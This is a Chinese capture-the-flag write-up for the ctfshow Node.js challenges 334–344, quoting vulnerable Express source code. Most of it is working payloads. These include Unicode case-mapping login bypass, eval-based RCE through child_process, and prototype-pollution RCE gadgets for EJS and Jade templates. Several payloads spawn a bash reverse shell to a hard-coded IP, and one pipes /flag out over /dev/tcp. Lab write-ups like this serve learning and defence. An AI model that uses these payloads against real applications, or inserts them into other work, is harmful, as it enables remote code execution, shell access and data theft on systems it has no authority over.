ctfshow-nodejs
Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)
334 js大小写函数
下载源码:
# user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
# login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
要以账户ctfshow,密码123456登录 考察的地方是
toUpperCase()是javascript中将小写转换成大写的函数。
toLowerCase()是javascript中将大写转换成小写的函数
除此之外
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
详细看:Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com) 那么输入ctfſhow 123456即可
335 rce
f12提示<!-- /?eval= -->
直接执行命令即可
chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令
用child_process
模块的exec
和execSync
或者spawn
与spawnSync
/?eval=require('child_process').execSync('ls').toString()
/?eval=require('child_process').execSync('cat fl00g.txt').toString()
require('child_process').spawnSync('ls',['./']).stdout.toString()
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
还可以用这个:
global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
336 过滤rce
过滤了exec,只能用spawnSync啦
require('child_process').spawnSync('ls',['./']).stdout.toString()
require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
337 md5绕过
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;要求a和b长度相等,内容不同但其md5值相同
数组绕过,js中两个数组是不能直接用===判断相等的:
?a[a]=1&b[a]=2
执行如下代码:那么下面的结果都会是[object Object]flag{xxx},其md5也就一样了
a={'a':'1'}
b={'a':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
338 原型链污染
下载源码:
routes/login.js
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}utils/common.js
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}只需secert的ctfshow属性=36dboy即可获得flag 再看跟踪到copy方法,可以利用原型链污染
此处secert
为数组,而copy
方法的操作对象也是数组,那么利用post
请求将req.body
传入参数,再利用user
污染数组原型,则当secert
找不到ctfshow
属性时就会往原型找,从而使得判断条件为真
payload:
{"__proto__":{"ctfshow":"36dboy"}}
抓包,点击登录,然后将帐号密码的数据改为payload传入即可
339 原型链污染+
routes/login.js
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}因为不知道flag,因此secert.ctfshow===flag就难以实现了
可以看到多了一个api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});可以通过参数污染控制query
预期解:
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 111"}}');
copy(user,body)
console.log(query)
运行如上代码可以看到,query的值从"return 111"变为111
query之所以会改变,是由于原型链污染,js中所有对象的原型都可以被继承到object,而其继承的终点是null对象
同样的在找不到对应对象/属性时,会遍历object
因此由于调用copy
方法时,原型链被污染,导致query
的值为"return 111"
然后我们会发现{ query: Function(query)(query)}
为{ query: 111 }
也就是Function(query)(query)=111
原因如下:
每个 JavaScript 函数实际上都是一个
Function
对象。运行(function(){}).constructor === Function // true
便可以得到这个结论。
语法:
new Function ([arg1[, arg2[, ...argN]],] functionBody)
如下,一个小尝试
那么同理
由此可以控制api中的{ query: Function(query)(query)}
从而实现rce
那么本题的思路就是利用copy函数进行原型链污染,再利用api.js来rce 这里可以弹个shell从而获取flag
payload:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/119.3.217.40/6666 0>&1\"')"}}
然后在vps上nc监听:(ps:使用vps的话,要在安全组选项配置好端口的出入规则--)
nc -lnvp 6666
flag:
340 原型链污染++
下载源码: 看关键部分:
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}还是利用copy函数进行原型链污染,但可以看到user.info的原型不是object,而是user 即
user.info.__proto__.__proto__
才是object
其实和339一样,就是需要套两层__proto__
才能污染到object对象
可以本地试一下:
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
body=JSON.parse('{"__proto__":{"__proto__":{"query":"hhh"}}}');
copy(user.userinfo,body);
user.userinfo
user.query
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/119.3.217.40/6666 0>&1\"')"}}}
还是反弹shell
341 ejs rce
下载源码会发现api.js没了
发现一个很好用的工具Snyk,像这种源码包可以丢给他直接检测
可以看到检测到一个ejs模板引擎的原型链污染RCE: XNUCA2019 Hardjs题解 从原型链污染到RCE - 先知社区 (aliyun.com) 几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn) 网上的exp:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'hhh\');var __tmp2"}}
这里修改一下,还是像340,两层污染:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/119.3.217.40/6666 0>&1\"');var __tmp2"}}}
然后随便访问一个页面就能触发rce
flag在根目录下
342 、343 jade原型链污染
Hint:审计了1个小时发现的,此链目前网上未公开,难度稍大
jade原型链污染:再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com) 本题和上文链接稍有不同,是群主当时发现的未公开链子,当然现在这么久也已经公开了
分析可以看: 几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn) ctfshow nodejs篇 - TARI TARI
看完可以知道,jade本身是没有漏洞的,但原型链污染的存在再加上模版渲染就出现了漏洞
payload:
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"title":"tari","line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/119.3.217.40/6666>&1\"')"}}}
重点是content-type要改为application/json,然后发两次包,一次污染,一次触发就可以rce
但是发现弹的shell卡住了,只能一条条命令的执行:
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"cat /flag >& /dev/tcp/119.3.217.40/6666>&1\"')"}}}
343过滤了一些东西,但是上面的payload还是可以打通,感兴趣可以看一下源码
344 HPP
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});存在过滤: url 中不能包含大小写的
8c
、2c
和,逗号
正常来说,我们只需要传入:
?query={"name":"admin","password":"ctfshow","isVIP":"true"}
但过滤了逗号和其url编码格式,%2c
考虑http协议中是允许同名参数多次出现的,只是不同的服务端对同名参数的处理不同
Web服务器 参数获取函数 获取到的参数 PHP/Apache $_GET(“par”) Last JSP/Tomcat Request.getParameter(“par”) First Perl(CGI)/Apache Param(“par”) First Python/Apache getvalue(“par”) All(List) ASP/IIS Request.QueryString(“par”) All (comma-delimited string)
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse
可以正常解析。
payload:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs中会把这三部分拼接起来 把ctfshow中的c编码是因为双引号的url编码是%22再和c连接起来是%22c,会匹配2c